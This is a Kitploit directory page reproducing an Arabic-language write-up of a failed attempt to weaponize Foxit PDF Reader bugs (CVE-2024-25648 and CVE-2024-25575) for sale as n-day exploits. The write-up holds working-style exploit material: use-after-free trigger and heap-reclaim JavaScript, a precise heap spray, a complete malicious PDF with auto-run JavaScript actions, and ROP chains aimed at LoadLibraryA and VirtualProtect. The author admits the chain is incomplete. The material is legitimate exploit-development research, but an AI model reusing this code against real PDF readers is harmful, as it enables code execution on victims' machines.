Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
HackerLife.exe — كتابة تقرير عن سلسلة استغلال فاشلة وتجربة محاولة بيع أول n-day لك. | Kitploit
أدوات/GitHubGitHub/spiralbl0ck/hackerlife.exe
تحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةشيل كودالأوراق والأبحاثالتعلم والتعليمتطوير الحمولاتاستغلال الملفات الثنائية
GitHubspiralbl0ck/hackerlife.exe

HackerLife.exe

كتابة تقرير عن سلسلة استغلال فاشلة وتجربة محاولة بيع أول n-day لك.

عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

HackerLife.exe

كتابة عن سلسلة استغلال فشلت في أن تتحول إلى سلاح كامل، وتجربة محاولة بيع أول ثغرة n-day لك.

إذن، ما هي قصة هذا الموضوع؟ اقتباسنا، كما يُقال: «تجربة حياتية في 2025 كباحث أمني شاب يحاول النجاح في بيئة متغيرة باستمرار ومعقدة». عندما حلّ عام 2025، حدثت بعض الأحداث في حياتي دفعتني لمحاولة جني بعض المال بطريقة ما. وللأسف، حتى يومنا هذا لم يحدث ذلك أبدًا، لأنني فشلت فشلًا ذريعًا كما سترون. لذلك قرر الفريق محاولة استغلال مهاراتنا. تواصل معنا شخص عبر وسائل التواصل الاجتماعي. عندما وصل إلينا هذا الشخص، قدّم نفسه على أنه شركة ناشئة في مجال الأمن السيبراني من جزء من العالم، وكانت تلك الدولة جزءًا من منطقة MENA (الشرق الأوسط وشمال أفريقيا)، أي صديقة لحلف الناتو (أحاول ألا أترك الكثير من التفاصيل عن هذا الشخص لأنها غير ذات صلة على أي حال). تواصلوا معنا لأنهم كانوا يبحثون عن شخص يساعدهم في تحسين منتجهم، وهو نوع من إطار عمل بريميوم لميتاسبليوت، لذا كانوا بحاجة أساسًا إلى ثغرات n-day لإطارهم. فرددنا بسعادة أننا سنساعدهم مقابل مبلغ معين من المال (مرة أخرى، هذا غير ذي صلة لأن الصفقة لم تتم أبدًا). وهكذا اقترحنا سلسلة من ثغرات CVE المحتملة التي ظننا أننا نستطيع استخدامها لإنتاج استغلال خلال شهر ونصف. يمكنكم إلقاء نظرة على المنتج المقترح هنا: catalogue_final.pdf. على أي حال، هنا يأتي الدرس المهم الأول للشباب الذين يريدون الخوض في مجال الأمن السيبراني. عند اختيار ثغرة CVE، خذ من 3 إلى 4 أسابيع لمراجعة الثغرة قبل بدء البحث. في الكتالوج المذكور، ستجدون أن أحد الاستغلالات كان سلسلة، سلسلة PDF.... لقد نظرنا فقط بإيجاز إلى الأوصاف، وشغّلنا الـ PoC المقدمة مرة أو مرتين، وألقينا نظرة على نوع CWE، وقررنا أنه يمكننا تحويل هذا إلى استغلال مكتمل السلاح. ولم نكن أبعد عن الحقيقة من ذلك.

لأن الحياة أحيانًا تأخذ منعطفات، كان لديّ امتحان يجب أن أجتازه، وقررنا أن نبدأ العمل على الاستغلال الفعلي في 20 فبراير.

يأتي 20 فبراير ونبدأ العمل على الاستغلال. نبدأ بشيء «سهل نسبيًا» (يرجى ملاحظة السخرية)، نبدأ مع CVE-2024-25648. ولكن قبل أن نبدأ العمل عليه، بدأنا بمحاولة فهم بنية ملفات PDF، أو بالأحرى الحصول على نظرة عامة بسيطة عليها، كما سترون لاحقًا في الوثيقة، كان علينا أن نُسقط مستندًا «سليمًا» بإجراءات مختلفة تُطلق عند حدوث أحداث معينة. لهذا، يمكننا توجيه تحية إلى ange albertini لتوثيقه هذا الأمر بشكل صحيح. هذه هي الموارد التي استخدمناها لفهم بنية PDF: https://www.youtube.com/watch?v=q6KgFezu8tw ، https://www.youtube.com/watch?v=8g6G96nn7Mo ، https://www.youtube.com/live/xZPK04a5ltc . لماذا هذا مهم أصلًا؟ بصراحة، لقد نسيت، لكننا قررنا أنه لهذه السلسلة، سيعمل جزء من الاستغلال في الخلفية كلما فتحت ملف PDF، والجزء الثاني كلما أغلقتها. من الناحية المثالية، كان من المفترض أن يستغل CVE-2024-25648 عند الإغلاق وCVE-2024-25575 عند الفتح. لتوضيح الأمر: لكي نتمكن من إنشاء تخطيط ذاكرة دقيق لاستغلال الـ use-after-free بدقة، كنا بحاجة إلى تسريب معلومات (info-leak) لحساب العناوين لأدوات ROP (ROP gadgets). وبالتالي، كان تدفق الاستغلال سيصبح: type conf ->infoleak --> gc لمسح تخطيط الكومة --> spray دقيق -->uaf -->التحكم في eip -8 -->stackpivot -->ropchiain -->sc --> تشغيل calc.exe . في المرحلة الحالية، لديك فقط الـ uaf وحقن الكومة (heap spray)، ونظريًا (لم يُختبر) سلسلتا ROP مقترحتان.

الآن، دون الخوض في الكثير من التفاصيل، أحد الأجزاء الحاسمة في أي استغلال لـ uaf هو بوضوح «بدائية التخصيص» (allocator primitive). ما هذا؟ ببساطة، شيء يسمح لك بالتحكم في المحتوى والحجم اللذين ترغب في تخصيصهما. لقد كنا محظوظين بما يكفي لوجود أشخاص آخرين قاموا ببعض الأبحاث حول هذا الموضوع. لذلك استخدمنا https://hacksys.io/blogs/foxit-reader-uaf-rce-jit-spraying-cve-2022-28672#jit-spraying-to-rescue-bypassing-dep-aslr-at-once كنقطة انطلاق. لذا عرفنا أنه كان علينا أن نبدأ بحثنا بناءً على شيء مثل:

function reclaim(size, count){ 3 for (var i = 0; i < count; i++) { 4 sprayArr[i] = new SharedArrayBuffer(size); 5 var rop = new DataView(sprayArr[i]); 6 7 // control value for - call dword ptr [eax+74h] 8 // first dword is pointer to the shellcode 9 rop.setUint32(0, 0x41414141); 10 11 for (var j = 4; j < rop.byteLength/4; j+=4) { 12 rop.setUint32(j, 0x42424242); 13 } 14 } 15} لكننا لم نكن نعرف ماذا نفعل بالضبط. لذا عدنا وقرأنا النشرة الأمنية (advisory)، ثم حاولنا العثور على حجم الكائن القابل للاستغلال. كيف فعلنا ذلك؟ بصراحة، بالحظ البحت. كانت لدينا بعض الخطافات (hooks) المدرجة في RlptFreeHeap وMath.atan وMath.sin وأخيرًا RtlAllocateHeap (آسف، لقد فقدناها بطريقة ما أثناء البحث). أدرج صورة مع تتبع الكائنات هنا. بعد البحث عن نمط ما في تخصيص الذاكرة، استنتجنا أن حجم الكائن القابل للاستغلال كان 0x70. الآن، ما فعلناه بعد ذلك هو محاولة استعادة الكائن. بشكل عام، عند استغلال uaf، هناك شرطان أساسيان للتحكم في الكائن المذكور: 1. معرفة الحجم، و2. القدرة على وضع تخصيص جديد بين التحرير (free) وإعادة الاستخدام (reuse)، وهذا ما فعلناه. كما ترون:

function uaf() { // prepare heap var count = 1000; var tArr = [];

start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;

getField('aaaa').setAction("Format",'delete_pages();');

app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;

end("disabling the heap hook"); }

function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);

reclaim(theSize,0x300,sprayArr2);

app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);

}

نضع بين استدعاءات deletePages، التي تقوم بحذف الأشياء، إعادة تخصيص الكائن المذكور. ويا للمفاجأة! أدرج صورة للتحكم في EIP بقيمة 41414141. الآن، كنا نتحدث سابقًا عن تدفق الاستغلال أو من منظور بنية الاستغلال، وذكرنا حقيقة أننا أردنا استدعاء gc لمسح الكومة. حسنًا، دون الخوض في التفاصيل كثيرًا للأشخاص غير الملمين بكيفية استدعاء gc لمسح حالة الكومة، هناك طريقة واحدة (لأن هناك العديد) وهي إنشاء كائن كبير جدًا عدة مرات وسيتم الأمر.

الآن كان التنفيذ الفعلي لهذا هو هذه الدالة function gc(){ const maxMallocBytes = 128 * 0x100000; //check if this is true ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } }

لا جديد تحت الشمس، فقط أردت الإشارة إلى حقيقة سريعة حول تنفيذ هذا الشيء. الآن هناك شيء آخر يجب الحديث عنه، بما أن الاستغلال يستهدف برنامج 32 بت. على ويندوز، يوجد مفهوم حقن الكومة الدقيق (precise heap spray). فما هو؟ على ويندوز (أعلم أنه يجب أن يكون ممكنًا أيضًا على لينكس، لكني رأيته فقط على ويندوز)، يمكنك فقط تخصيص عنوان يمكن التنبؤ به في كل مرة لمساحة 32 بت. بصراحة، لا جديد تحت الشمس. إنه أمر سهل بمجرد فهمه، لقد فهمته بدقة ذات مرة، لكن الآن لا أفهمه :))). الآن على أي حال، على ويندوز 10، لا يُسمح لك بعمل VirtualAlloc بحجم VABlocks 0x7fb0. لكن لحسن الحظ يمكنك عمل حيلة. يمكنك التخصيص بشكل تدريجي بحجم 0x10000 و0x40000 وحجم تخصيص آخر، ولا أعلم ربما 0x300 مرة. هذا يسمح لك بذلك. مرة أخرى، لا جديد تحت الشمس، من يعرف يعرف. الآن ها هو التنفيذ المحدد:

function store_shellcode() { app.alert(util.printf("Uninitialized1"));

root@kitploit:~
var offset 	  		= 0xbc4; //this will need adjustment aka be changed
var final_payload 		= "";
var junk 	  		= p32(0x50505050)+p32(0x80808080);
var rop  	  		= "4141424243434444454546464747";
var shellcode 		        = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
	junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");

// Allocate a 0x1000-byte buffer and fill with 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a 0x10000-byte buffer and fill with 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');

// Reallocate hAlloc0 with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate another 0x10000-byte buffer and fill with 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');

// Reallocate hAlloc0 again (0x1000-byte) and fill with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a third 0x10000-byte buffer and fill with 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');

// Reallocate hAlloc0 once more with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

app.alert("Layout created, now freeing 3 chunks of 0x10000");

// Log and "free" the 0x10000-byte buffers by dropping references.
app.alert("Free", hAlloc1);
hAlloc1 = null;

app.alert("Free", hAlloc2);
hAlloc2 = null;

app.alert("Free", hAlloc3);
hAlloc3 = null;

app.alert("Done. Ready for spray");

//Trigger the theoretical garbage collection to clear the heap.
gc();

final_payload =  junk.substring(0,offset);

final_payload += rop;

final_payload += shellcode;

final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);

while(final_payload.length < 0x40000){
	final_payload += final_payload;
}

var sprayRepeat = 3; // Repeat spray multiple times.
var sprayCount = 0x900; // Number of spray entries per repetition.

for (var rep = 0; rep < sprayRepeat; rep++) {
		for (var i = 0; i < sprayCount; i++) {
  			// Convert the first 0x40000 characters of final_payload into a SharedArrayBuffer.
  			var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
  			global_address_spray.push(sprayBuffer);
		}
}
app.alert(util.printf("SPRAY DONE"));

}

لا جديد تحت الشمس، كرر نفس الحمولة من 0x10000 إلى 0x10000 آخر حتى تشكل سلسلة بطول 0x40000 بالنظام الست عشري، ثم قم بحقنها حرفيًا. الآن يجب أن أذكر أن هذا معيب إلى حد ما، لأنه بينما يحقن الكثير ومن وقت لآخر نتمكن من الحصول على عنوان دقيق، فإن هذا يحتاج إلى القليل من التحسين/التحسين، لأنه، حسنًا، لقد نسيت كيف يُفعل هذا الأمر بالضبط. أدرج صورة windbg وبعض الشرح حول ما أراه.

الآن قبل أن نغلق هذا الفصل، سيكون من الجدير بالذكر كيف أنشأنا الخطافات لـ Math.atan وMath.sin وRlptFreeHeap/RtlpAllocateHeap. حسنًا، بالنسبة لدوال rtlp، كان لدي بعض الخطافات من عندما حضرت بعض التدريبات على تطوير الاستغلال والتي تعاملت مع Foxit بإصدار أقدم. بالنسبة لـ Math.atan وMath.sin، روبن....(أدرج الشرح). وهكذا وصلنا إلى هذا: (أدرج الخطافات) (أدرج صورة windbg + شرح لما يحدث هناك).

الآن للجزء الثاني من المدونة: CVE-2024-25575

دون الخوض كثيرًا في تفاصيل تقرير Talos الفعلي، روبن، بعد أسبوعين عندما وضعنا نصب أعيننا الجزء الثاني من الثغرة، حذرني من أن هذا قد لا يكون بالضبط ثغرة type confusion، بل بالأحرى uaf يكون له كأثر جانبي type confusion على السلسلة. بغض النظر، يبدو هذا سيناريو جيدًا لتطوير الاستغلال. ليس حقًا. لذا منذ البداية، تُترك مع هذا:

var lock_object = app.activeDocs[0].addField( 'AA', "signature", 0, [10,214,3] ).getLock() ;

app.activeDocs[0].deletePages();

app.fs.transitions;

lock_object.defineGetter('fields', function () {});

ومهمتك التالية هي معرفة كيف بحق الجحيم تستبدل app.fs.transitions. الآن في هذه المرحلة الزمنية، أنا وروبن أمضينا حوالي 3 أسابيع ننتف شعرنا محاولين الفهم، لأنه من وثائق Adobe، app.fs.transitions هو كائن للقراءة فقط وليس قابلًا للكتابة (ليست علامة جيدة للاستغلال). ثانيًا، لم نتمكن من تحديد حجم app.fs.transitions بشكل صحيح باستخدام الخطاف. لماذا قد تسألون؟ حسنًا، على الرغم من أننا كنا محظوظين بما يكفي لتحديد الحجم في الجزء السابق، إلا أننا هنا لم يحالفنا الحظ عندما أدركنا أن معامل الحجم في هذه الحالة لم يتوافق مع الخطافات، وبالتالي لم نتمكن من تحديد الحجم الدقيق بشكل صحيح.

الآن كيف خرجنا من هذه الفوضى؟ حسنًا، في تلك الأسابيع الثلاثة التي مرت، رأينا يومًا ما على تويتر أن شخصًا ما أصدر خادم MCP لـ ghidra/ida، وقلنا إننا سنجربه. بعد ما أعتقد يوم أو يومين من الجدال مع كلود (Claude)، بطريقة ما أنتج هذا الوحش:

message.txt%PDF-1.5

1 0 obj << /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R /AA << /WC 3 0 R
>> endobj

2 0 obj << /Type /Pages /Count 7 /Kids [5 0 R 6 0 R 7 0 R 8 0 R 9 0 R 10 0 R 11 0 R]

endobj

3 0 obj << /S /JavaScript /JS(

//var sprayArr = []; var sprayArr2 = [];

var theSize = 0xb8-8; function start(msg) { Math.atan(msg); }

function end(msg) { Math.acos(msg); }

function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }

function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }

function addrToHex(addr) { return "0x" + addr.toString(16).padStart(8, '0'); }

// Function to create a controlled string pattern function createStringPattern(length) { var result = ""; for (var i = 0; i < length; i += 4) { // Create predictable 4-byte patterns var val = 0xAA000000 + i; var c1 = String.fromCharCode((val & 0xFF)); var c2 = String.fromCharCode((val >> 8) & 0xFF); var c3 = String.fromCharCode((val >> 16) & 0xFF); var c4 = String.fromCharCode((val >> 24) & 0xFF); result += c1 + c2 + c3 + c4; } return result; }

function type_conf() { app.alert("Starting alternative exploitation approach...");

root@kitploit:~
// Step 1: Create several different types of form fields
var fields = {};
var fieldTypes = ["text", "checkbox", "radiobutton", "combobox", "listbox", "signature"];

for (var i = 0; i < fieldTypes.length; i++) {
    try {
        fields[fieldTypes[i]] = app.activeDocs[0].addField(
            'Field_' + fieldTypes[i], 
            fieldTypes[i], 
            0, 
            [10, 50 + i*40, 100, 80 + i*40]
        );
        app.alert("Created " + fieldTypes[i] + " field");
    } catch (e) {
        app.alert("Error creating " + fieldTypes[i] + " field: " + e);
    }
}

// Step 2: Store references to various objects from these fields
var objects = [];
try {
    // Get various objects from different field types to increase chances of success
    if (fields.signature) objects.push({name: "signature.lock", obj: fields.signature.getLock()});
    if (fields.text) objects.push({name: "text.value", obj: fields.text.value});
    if (fields.combobox) objects.push({name: "combobox.items", obj: fields.combobox.items});
    if (fields.checkbox) objects.push({name: "checkbox.style", obj: fields.checkbox.style});
    
    app.alert("Stored references to " + objects.length + " objects");
} catch (e) {
    app.alert("Error storing object references: " + e);
}

// Step 3: Call deletePages() with specific parameters
try {
    app.activeDocs[0].deletePages({nStart: 0, nCount: 0});  // Try not to delete any pages
    app.alert("deletePages called with parameters");
} catch (e) {
    app.alert("Error in deletePages: " + e);
    // Continue anyway
}

// Step 4: Create controlled heap objects
var stringObjects = [];
var bufferObjects = [];

// Mix of different object types to influence heap layout
for (var i = 0; i < 100; i++) {
    stringObjects.push("Memory" + i.toString(16).padStart(8, '0'));
}

// Create objects with specific values that might be recognizable if leaked
for (var i = 0; i < 20; i++) {
    var obj = {
        marker: 0xABCD0000 + i,
        index: i,
        name: "Marker" + i
    };
    bufferObjects.push(obj);
}

// Step 5: Access transitions and other APIs to influence memory
try {
    // Access app.fs.transitions
    app.fs.transitions;
    app.alert("Transitions accessed");
    
    // Access other properties that might influence memory
    if (app.fs.fonts) app.alert("Fonts accessed");
    if (app.fs.templates) app.alert("Templates accessed");
} catch (e) {
    app.alert("Error accessing app properties: " + e);
}

// Step 6: Trigger JavaScript garbage collection
try {
    for (var i = 0; i < 3; i++) {
        var largeArray = new Array(1000000);
        largeArray = null;
    }
    app.alert("Garbage collection potentially triggered");
} catch (e) {
    app.alert("Error triggering GC: " + e);
}

// Step 7: Examine objects for signs of corruption or memory leaks
var results = [];

for (var i = 0; i < objects.length; i++) {
    var objName = objects[i].name;
    var obj = objects[i].obj;
    
    results.push("Examining " + objName + ":");
    
    try {
        // Check object type
        results.push("- Type: " + typeof obj);
        
        // Try to convert to string
        var asString = String(obj);
        results.push("- String representation: " + asString);
        
        // Look for patterns that might indicate addresses
        var hexMatches = asString.match(/[0-9A-Fa-f]{6,}/g);
        if (hexMatches) {
            for (var m = 0; m < hexMatches.length; m++) {
                results.push("- Potential address: 0x" + hexMatches[m]);
            }
        }
        
        // Try JSON serialization with error handling
        try {
            var asJson = JSON.stringify(obj);
            if (asJson && asJson.length > 2) {  // Not empty object
                results.push("- JSON: " + (asJson.length > 50 ? asJson.substring(0, 50) + "..." : asJson));
            }
        } catch (jsonError) {
            results.push("- JSON error: " + jsonError);
        }
        
    } catch (e) {
        results.push("- Error examining object: " + e);
    }
}

// Report results
for (var i = 0; i < results.length; i++) {
    app.alert(results[i]);
}

app.alert("Alternative exploitation completed");

}

type_conf();

root@kitploit:~
)

endobj

4 0 obj << /S /JavaScript /JS(

/* ROP

FoxitPDFReader!CryptUIWizExport+0x357b1: 00d7e62f 8b01 mov eax,dword ptr [ecx] ds:002b:12d3c4a0=f0f0f0f0 ; <---------------- [6] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] ds:002b:f0f0f134=???????? ; <---------------- [7] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] 00d7e634 ffd0 call eax

we got 0x44 till we have to jump and such so basically we control ecx and in ecx we put the rest of ropchian

and in ecx we put 0c0c0c0c and at 0c0c0c0c we put ropchian

at 0c0c0c0c+0x44 0x4a2a06: xchg esp, ecx ; ret ; (1 found) such

arr[0]=0x4a2a06 xchg esp, ecx ; ret ; (1 found)(offset 000a2a06) aka ecx ImageBase : 0x00400000rop[1] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[2] = 0x6c6c642e rop[3] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[4] = 0x6b636168 rop[5] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[6] = 0x5x706f74 rop[7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[8] = 0x6b736544 rop[9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x5c64616c rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x565c7372 rop[0xd] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xe] = 0x6573555c rop[0xf] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x10] = 0x4141433a rop[0x11] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x12] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x13] = 0x2 rop[0x14] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x15] = 0x41a07e: push edi ; ret ; (1 found) rop[0x16] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x17] = 05254630 76481100 KERNEL32!LoadLibraryAStub - 0xd rop[0x18] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x19] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)

لأنه ليس لدينا WriteProcessMemory لذا نلجأ إلى LoadLibraryA

43 3A
يعادل
C:\Users\Vlad\Desktop\hack.dll

0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found)

أو في حال أردنا سلسلة virtualrpotect كحمولة

skeleton = RopChain()

skeleton += 0x41414141 # VirtualAlloc address

skeleton += 0x42424242 # shellcode return address to return to after VirtualAlloc is called

skeleton += 0x43434343 # lpAddress (shellcode address)

skeleton += 0x44444444 # dwSize (0x1)

skeleton += 0x45454545 # flAllocationType (0x1000)

skeleton += 0x46464646 # flProtect (0x40)

rop[0x1] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x2] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x3] = 0x2 #this needs to be changed to point to shellcode rop[0x4] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x5] = 0x41a07e: push edi ; ret ; (1 found) rop[0x6] = 0x41a07e: push edi ; ret ; (1 found) since it's the same rop[0x7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x8] = size for shellcode here rop[0x9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x1000 rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x40 rop[0xd] = 04bc457c 76466b30 KERNEL32!VirtualProtectStub - 0xd rop[0x10] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x11] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)

*/

var global_address_spray = [];

function p32(num) { return String.fromCharCode(num & 0xff) + String.fromCharCode((num >> 8) & 0xff) + String.fromCharCode((num >> 16) & 0xff) + String.fromCharCode((num >> 24) & 0xff); }

function start(msg) { Math.atan(msg); }

function end(msg) { Math.acos(msg); }

function gc(){ const maxMallocBytes = 128 * 0x100000; //check if this is true ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } }

function allocateSprayBuffer(payload) { // Create a SharedArrayBuffer sized to hold the payload. // Assuming one byte per character (e.g. for ASCII-only data). var buffer = new SharedArrayBuffer(payload.length); var dv = new DataView(buffer); for (var j = 0; j < payload.length; j++) { dv.setUint8(j, payload.charCodeAt(j)); } return buffer; }

function store_shellcode() { app.alert(util.printf("Uninitialized1"));

root@kitploit:~
var offset 	  		= 0xbc4; //this will need adjustment aka be changed
var final_payload 		= "";
var junk 	  		= p32(0x50505050)+p32(0x80808080);
var rop  	  		= "4141424243434444454546464747";
var shellcode 		        = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
	junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");

// Allocate a 0x1000-byte buffer and fill with 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a 0x10000-byte buffer and fill with 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');

// Reallocate hAlloc0 with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate another 0x10000-byte buffer and fill with 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');

// Reallocate hAlloc0 again (0x1000-byte) and fill with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a third 0x10000-byte buffer and fill with 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');

// Reallocate hAlloc0 once more with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

app.alert("Layout created, now freeing 3 chunks of 0x10000");

// Log and "free" the 0x10000-byte buffers by dropping references.
app.alert("Free", hAlloc1);
hAlloc1 = null;

app.alert("Free", hAlloc2);
hAlloc2 = null;

app.alert("Free", hAlloc3);
hAlloc3 = null;

app.alert("Done. Ready for spray");

//Trigger the theoretical garbage collection to clear the heap.
gc();

final_payload =  junk.substring(0,offset);

final_payload += rop;

final_payload += shellcode;

final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);

while(final_payload.length < 0x40000){
	final_payload += final_payload;
}

var sprayRepeat = 3; // Repeat spray multiple times.
var sprayCount = 0x900; // Number of spray entries per repetition.

for (var rep = 0; rep < sprayRepeat; rep++) {
		for (var i = 0; i < sprayCount; i++) {
  			// Convert the first 0x40000 characters of final_payload into a SharedArrayBuffer.
  			var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
  			global_address_spray.push(sprayBuffer);
		}
}
app.alert(util.printf("SPRAY DONE"));

}

var sprayArr = []; var sprayArr2 = [];

var theSize = 0x70-8;

function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }

function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }

function uaf() { // prepare heap var count = 1000; var tArr = [];

start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;

getField('aaaa').setAction("Format",'delete_pages();');

app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;

end("disabling the heap hook"); }

function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);

reclaim(theSize,0x300,sprayArr2);

app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);

}

//start("enabling the heap hook"); //end("disabling the heap hook");

//sprayArr[i] = new SharedArrayBuffer(theSize); reclaim(theSize,0x400,sprayArr); for(var i = 0; i < 0x400; ++i){ if(i%2 == 0){ sprayArr[i] = null; } }

//store_shellcode(); //uaf(); //console.show(); )>>

5 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 6 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 7 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 8 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 9 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 10 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 11 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj

trailer << /Root 1 0 R
/Size 12

startxref

%%EOF

الآن، ما قمنا به هو - أعتقد يمكنك تسميته اختبار الانحدار - حيث أخذ روبن هذا الـ poc وبدأ في تفكيكه سطرًا سطرًا. استغرقت العملية برمتها حوالي أسبوعين على حد ما أتذكر، ولكن كأمر طريف، إليك كيف جرت تلك المحادثة:

vlad: أنا أتحكم في ecx!!!!!! قريب من تسريب المعلومات بهذا تتحكم في ecx بالضبط لكنني لا أعرف كيف أستبدل الكائن، السلسلة ميتة لكنك تتحكم نوعًا ما في أين ينهار الصق poc عشوائيًا وبهذا تكاد تتحكم في ecx تتحكم في ecx+8 انظر لا واجعله تسريب معلومات من فضلك 🙂 انشر poc عشوائيًا في هذا تتحكم في السلسلة 'object is dead' إذن يجب أن يكون قريبًا إذن كما استنتجنا بالفعل الـ exp ليس 100% لكنه لا يحتاج أن يكون 100% فقط يحتاج أن يكون موثوقًا، من اختباري 5/3 الناتج هو المذكور أعلاه بالنسبة للجزئي لـ object_is_dead في 100% من الأحيان ينهار مع التحكم في ecx

